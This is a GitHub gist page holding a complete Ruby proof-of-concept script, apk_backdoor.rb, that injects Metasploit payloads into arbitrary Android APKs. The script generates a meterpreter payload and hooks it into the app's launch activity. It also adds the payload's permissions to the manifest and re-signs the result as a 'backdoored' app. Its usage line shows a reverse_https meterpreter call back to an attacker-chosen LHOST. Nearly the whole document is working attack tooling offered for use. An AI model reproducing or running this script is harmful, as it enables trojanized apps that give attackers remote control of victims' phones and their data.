-
-
Save giwiro/79ba9c0f84b392310dd8e5c0ea318689 to your computer and use it in GitHub Desktop.
POC for injecting Metasploit payloads on arbitrary APKs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# apk_backdoor.rb | |
# This script is a POC for injecting metasploit payloads on | |
# arbitrary APKs. | |
# Authored by timwr, Jack64 | |
# | |
require 'nokogiri' | |
require 'fileutils' | |
require 'optparse' | |
# Find the activity thatapk_backdoor.rb is opened when you click the app icon | |
def findlauncheractivity(amanifest) | |
package = amanifest.xpath("//manifest").first['package'] | |
activities = amanifest.xpath("//activity|//activity-alias") | |
for activity in activities | |
activityname = activity.attribute("name") | |
category = activity.search('category') | |
unless category | |
next | |
end | |
for cat in category | |
categoryname = cat.attribute('name') | |
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') | |
activityname = activityname.to_s | |
unless activityname.start_with?(package) | |
activityname = package + activityname | |
end | |
return activityname | |
end | |
end | |
end | |
end | |
# If XML parsing of the manifest fails, recursively search | |
# the smali code for the onCreate() hook and let the user | |
# pick the injection point | |
def scrapeFilesForLauncherActivity() | |
smali_files||=[] | |
Dir.glob('original/smali*/**/*.smali') do |file| | |
checkFile=File.read(file) | |
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") | |
smali_files << file | |
smalifile = file | |
activitysmali = checkFile | |
end | |
end | |
i=0 | |
print "[*] Please choose from one of the following:\n" | |
smali_files.each{|s_file| | |
print "[+] Hook point ",i,": ",s_file,"\n" | |
i+=1 | |
} | |
hook=-1 | |
while (hook < 0 || hook>i) | |
print "\nHook: " | |
hook = STDIN.gets.chomp.to_i | |
end | |
i=0 | |
smalifile="" | |
activitysmali="" | |
smali_files.each{|s_file| | |
if (i==hook) | |
checkFile=File.read(s_file) | |
smalifile=s_file | |
activitysmali = checkFile | |
break | |
end | |
i+=1 | |
} | |
return [smalifile,activitysmali] | |
end | |
def fix_manifest() | |
payload_permissions=[] | |
#Load payload's permissions | |
File.open("payload/AndroidManifest.xml","r"){|file| | |
k=File.read(file) | |
payload_manifest=Nokogiri::XML(k) | |
permissions = payload_manifest.xpath("//manifest/uses-permission") | |
for permission in permissions | |
name=permission.attribute("name") | |
payload_permissions << name.to_s | |
end | |
# print "#{k}" | |
} | |
original_permissions=[] | |
apk_mani='' | |
#Load original apk's permissions | |
File.open("original/AndroidManifest.xml","r"){|file2| | |
k=File.read(file2) | |
apk_mani=k | |
original_manifest=Nokogiri::XML(k) | |
permissions = original_manifest.xpath("//manifest/uses-permission") | |
for permission in permissions | |
name=permission.attribute("name") | |
original_permissions << name.to_s | |
end | |
# print "#{k}" | |
} | |
#Get permissions that are not in original APK | |
add_permissions=[] | |
for permission in payload_permissions | |
if !(original_permissions.include? permission) | |
print "[*] Adding #{permission}\n" | |
add_permissions << permission | |
end | |
end | |
inject=0 | |
new_mani="" | |
#Inject permissions in original APK's manifest | |
for line in apk_mani.split("\n") | |
if (line.include? "uses-permission" and inject==0) | |
for permission in add_permissions | |
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n" | |
end | |
new_mani << line+"\n" | |
inject=1 | |
else | |
new_mani << line+"\n" | |
end | |
end | |
File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } | |
end | |
apkfile = ARGV[0] | |
unless(apkfile && File.readable?(apkfile)) | |
puts "Usage: #{$0} [target.apk] [msfvenom options]\n" | |
puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" | |
exit(1) | |
end | |
jarsigner = `which jarsigner` | |
unless(jarsigner && jarsigner.length > 0) | |
puts "No jarsigner" | |
exit(1) | |
end | |
apktool = `which apktool` | |
unless(apktool && apktool.length > 0) | |
puts "No apktool" | |
exit(1) | |
end | |
apk_v=`apktool` | |
unless(apk_v.split()[1].include?("v2.")) | |
puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n" | |
exit(1) | |
end | |
begin | |
msfvenom_opts = ARGV[1,ARGV.length] | |
opts="" | |
msfvenom_opts.each{|x| | |
opts+=x | |
opts+=" " | |
} | |
rescue | |
puts "Usage: #{$0} [target.apk] [msfvenom options]\n" | |
puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" | |
puts "[-] Error parsing msfvenom options. Exiting.\n" | |
exit(1) | |
end | |
print "[*] Generating msfvenom payload..\n" | |
res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` | |
if res.downcase.include?("invalid" || "error") | |
puts res | |
exit(1) | |
end | |
print "[*] Signing payload..\n" | |
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` | |
`rm -rf original` | |
`rm -rf payload` | |
`cp #{apkfile} original.apk` | |
print "[*] Decompiling orignal APK..\n" | |
`apktool d $(pwd)/original.apk -o $(pwd)/original` | |
print "[*] Decompiling payload APK..\n" | |
`apktool d $(pwd)/payload.apk -o $(pwd)/payload` | |
f = File.open("original/AndroidManifest.xml") | |
amanifest = Nokogiri::XML(f) | |
f.close | |
print "[*] Locating onCreate() hook..\n" | |
launcheractivity = findlauncheractivity(amanifest) | |
smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' | |
begin | |
activitysmali = File.read(smalifile) | |
rescue Errno::ENOENT | |
print "[!] Unable to find correct hook automatically\n" | |
begin | |
results=scrapeFilesForLauncherActivity() | |
smalifile=results[0] | |
activitysmali=results[1] | |
rescue | |
puts "[-] Error finding launcher activity. Exiting" | |
exit(1) | |
end | |
end | |
print "[*] Copying payload files..\n" | |
FileUtils.mkdir_p('original/smali/com/metasploit/stage/') | |
FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' | |
activitycreate = ';->onCreate(Landroid/os/Bundle;)V' | |
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" | |
hookedsmali = activitysmali.gsub(activitycreate, payloadhook) | |
print "[*] Loading ",smalifile," and injecting payload..\n" | |
File.open(smalifile, "w") {|file| file.puts hookedsmali } | |
injected_apk=apkfile.split(".")[0] | |
injected_apk+="_backdoored.apk" | |
print "[*] Poisoning the manifest with meterpreter permissions..\n" | |
fix_manifest() | |
print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" | |
`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` | |
print "[*] Signing #{injected_apk} ..\n" | |
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` | |
puts "[+] Infected file #{injected_apk} ready.\n" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment